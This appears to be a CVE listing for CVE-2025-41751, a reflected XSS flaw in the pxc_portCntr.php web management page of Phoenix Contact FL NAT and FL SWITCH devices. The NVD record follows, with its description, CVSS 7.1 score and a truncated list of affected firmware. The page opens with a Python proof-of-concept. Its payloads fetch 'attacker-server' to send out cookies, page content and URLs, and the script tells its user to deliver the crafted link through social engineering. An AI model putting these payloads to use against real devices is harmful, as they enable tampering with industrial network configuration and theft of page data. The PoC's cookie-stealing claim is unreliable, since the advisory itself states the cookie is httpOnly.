CVE-2025-41751

import requests import urllib.parse # CVE-2025-41751 XSS PoC # Target: pxc_portCntr.php # Attack Type: Reflected XSS via URL parameters target_url = "http://target-device/pxc_portCntr.php" # XSS payload - steals page content and configuration data xss_payload = "<script>fetch('https://attacker-server/steal?data='+document.cookie+'&content='+encodeURIComponent(document.body.innerHTML))</script>" # Alternative payload - modifies WBM parameters xss_payload_alt = "<img src=x onerror='fetch(\"https://attacker-server/log?param=\"+document.URL)'>" # Construct malicious URL params = { 'port': xss_payload, 'action': 'view' } malicious_url = target_url + '?' + urllib.parse.urlencode(params) print(f"Malicious URL: {malicious_url}") print(f"\nSend this URL to authenticated WBM user via social engineering") # Verification payload - simple alert test verify_payload = "<script>alert('XSS Confirmed - CVE-2025-41751')</script>" print(f"\nVerification URL: {target_url}?port={urllib.parse.quote(verify_payload)}")

{"cve": {"id": "CVE-2025-41751", "sourceIdentifier": "[email protected]", "published": "2025-12-09T16:17:50.670", "lastModified": "2025-12-19T16:45:53.940", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "An XSS vulnerability in pxc_portCntr.php can be used by an unauthenticated remote attacker to trick an authenticated user to click on the link provided by the attacker in order to change parameters available via web based management (WBM). The vulnerability does not provide access to system-level resources such as operating system internals or privileged functions. Access is limited to device configuration parameters that are available in the context of the web application. The session cookie is secured by the httpOnly Flag. Therefore an attacker is not able to take over the session of an authenticated user."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L", "baseScore": 7.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 3.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:phoenixcontact:fl_nat_2008_firmware:*:*:*:*:*:*:*:*", "versionEndExcluding": "3.50", "matchCriteriaId": "6A9FE2C7-C862-4EC7-933A-0F3E4E100444"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:phoenixcontact:fl_nat_2008:-:*:*:*:*:*:*:*", "matchCriteriaId": "A03AD87F-AA1C-48EA-AC10-B5F20C3064F1"}]}]}, {"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:phoenixcontact:fl_nat_2208_firmware:*:*:*:*:*:*:*:*", "versionEndExcluding": "3.50", "matchCriteriaId": "A66309AE-7374-41A9-8281-68A0CDC437E1"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:phoenixcontact:fl_nat_2208:-:*:*:*:*:*:*:*", "matchCriteriaId": "A2713DED-10BE-48AA-8CF0-764A3DD6A4E9"}]}]}, {"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:phoenixcontact:fl_nat_2304-2gc-2sfp_firmware:*:*:*:*:*:*:*:*", "versionEndExcluding": "3.50", "matchCriteriaId": "C49972CF-8229-42AD-BF96-A05C13119FBB"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:phoenixcontact:fl_nat_2304-2gc-2sfp:-:*:*:*:*:*:*:*", "matchCriteriaId": "C95847FA-DDAD-4753-B7F3-D67149DA639D"}]}]}, {"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:phoenixcontact:fl_switch_2005_firmware:*:*:*:*:*:*:*:*", "versionEndExcluding": "3.50", "matchCriteriaId": "96F33480-DC6D-4B9E-918F-BDC910146F4A"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:phoenixcontact:fl_switch_2005:-:*:*:*:*:*:*:*", "matchCriteriaId": "7BE280FC-2A01-4B82-B954-91B86A4D7462"}]}]}, {"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:phoenixcontact:fl_switch_2008_firmware:*:*:*:*:*:*:*:*", "versionEndExcluding": "3.50", "matchCriteriaId": "9773B1E5-62B1-44EB-B8DD-A2E45BF9D930"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:phoenixcontact:fl_switch_2008:-:*:*:*:*:*:*:*", "matchCriteriaId": "322DF000-6060-4E37-A91F-0EF0D0A0E909"}]}]}, {"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:phoenixcontact:fl_switch_2008f_firmware:*:*:*:*:*:*:*:*", "versionEndExcluding": "3.50", "matchCriteriaId": "DBFA9AC1-51A3-4516-81E9-8044EFB9E436"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:phoenixcontact:fl_switch_2008f:-:*:*:*:*:*:*:*", "matchCriteriaId": "8D3F1820-AF71-4D9A-BC63-1B886C739FD0"}]}]}, {"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:phoenixcontact:fl_switch_2016_firmware:*:*:*:*:*:*:*:*", "versionEndExcluding": "3.50", "matchCriteriaId": "E2224C43-207D-4E66-96CE-7994EA2F0C6B"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:phoenixcontact:fl_switch_2016:-:*:*:*:*:*:*:*", "matchCriteriaId": "5C4DFBF9-2A05-4888-B457-E29617B74C95"}]}]}, {"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:phoenixcontact:fl_switch_2105_f ... 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